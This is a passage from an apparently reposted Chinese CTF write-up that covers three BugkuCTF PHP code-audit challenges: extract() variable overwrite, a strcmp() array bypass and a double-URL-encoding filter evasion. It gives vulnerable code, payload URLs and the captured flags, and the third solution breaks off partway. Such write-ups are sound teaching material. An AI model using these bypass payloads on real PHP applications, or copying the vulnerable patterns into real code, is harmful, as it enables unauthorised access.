设为首页 加入收藏

TOP

BugkuCTF~代码审计~WriteUp(一)
2019-08-23 00:40:55 】 浏览:84
Tags:BugkuCTF 代码 审计 WriteUp

第一题:extract变量覆盖

知识简介

extract()函数语法:

extract(array,extract_rules,prefix) 参数 描述 array必需。 规定要使用的数组。 extract_rules可选。 extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。 可能的值: EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。 EXTR_SKIP - 如果有冲突,不覆盖已有的变量。 EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。 EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。 EXTR_PREFIX_INVALID -仅在不合法或数字变量名前加上前缀 prefix。 EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。 EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。 EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。 prefix可选。 如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。

 

题目信息

Topic Link:http://123.206.87.240:9009/1.php

http://123.206.87.240:9009/1.php
<?php $flag='xxx'; extract($_GET); if(isset($shiyan)) { $content=trim(file_get_contents($flag)); if($shiyan==$content) { echo'flag{xxx}'; } else { echo'Oh.no'; } } ?>

 

利用extract()函数的变量覆盖漏洞原理构造payload

漏洞产生原因:extract()函数当只有一个参数时,默认的第二参数是:EXTR_OVERWRITE,如果有变量发生冲突,则覆盖已有的变量。

代码审计需要满足两个条件:1. if(isset($shiyan))  == 》 TRUE

             2. if($shiyan==$content)  == 》 TRUE

构造payload:

//利用extract()函数变量覆盖漏洞+php伪协议
 http://123.206.87.240:9009/1.php?shiyan=999&flag=data://,999 //利用file_get_content()函数返回字符串+php弱类型(null == "string" ==》 true)
 http://123.206.87.240:9009/1.php?shiyan=
http://123.206.87.240:9009/1.php?shiyan=&flag=
http://123.206.87.240:9009/1.php?shiyan=&content=

get flag:

flag{bugku-dmsj-p2sm3N}

 

第二题:strcmp比较字符串

知识简介

strcmp()函数语法:

int strcmp( string $str1, string $str2) 注意该比较区分大小写。 参数 str1 第一个字符串。 str2 第二个字符串。 返回值 如果 str1 小于 str2 返回 < 0;如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 

 

题目信息

Topic Link:http://123.206.87.240:9009/6.php

<?php $flag = "flag{xxxxx}"; if (isset($_GET['a'])) { if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。 //比较两个字符串(区分大小写)
die('Flag: '.$flag); else
print 'No'; } ?>

利用strcmp()函数不能处理数组的漏洞构造payload

代码审计需要满足两个条件:1. if (isset($_GET['a'])) ==》 TRUE

             2. if (strcmp($_GET['a'], $flag) == 0)  ==》 TRUE

构造payload:

http://123.206.87.240:9009/6.php?a[]

get flag:

Flag: flag{bugku_dmsj_912k}

 

第三题:urldecode二次编码绕过

知识简介

eregi()函数语法:

eregi — 不区分大小写的正则表达式匹配 int eregi( string $pattern, string $string[, array &$regs] ) 本函数和 ereg() 完全相同,只除了在匹配字母字符时忽略大小写的区别。 ereg()函数 int ereg ( string $pattern , string $string [, array &$regs ] ) 以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。 如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs,则匹配项将被存入 regs 数组中。$regs[1] 包含第一个左圆括号开始的子串,$regs[2] 包含第二个子串,以此类推。$regs[0] 包含整个匹配的字符串。 如果在 string 中找到 pattern 模式的匹配则返回所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1。 

 

题目信息

Topic Link:http://123.206.87.240:9009/10.php

<?php if(eregi("hackerDJ",$_GET[id])) { echo(" not allowed! "); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo " Access granted! "; echo " flag "; } ?>

利用浏览器默认对提交的数据进行一次url解码

代码审计需要满足两个条件:1. id里面不能包含字符串“hackerDJ”

             2. id经过urldecode()之后等于字符串“hackerDJ”

构造payload:

//只需对字符串"hackerDJ"一部分二次url编码即可
 h对应的十六进
首页 上一页 1 2 3 4 5 下一页 尾页 1/5/5
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇Ubuntu 16.04.4 LTS环境中php7.0.. 下一篇php禁用函数设置及查看方法详解

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目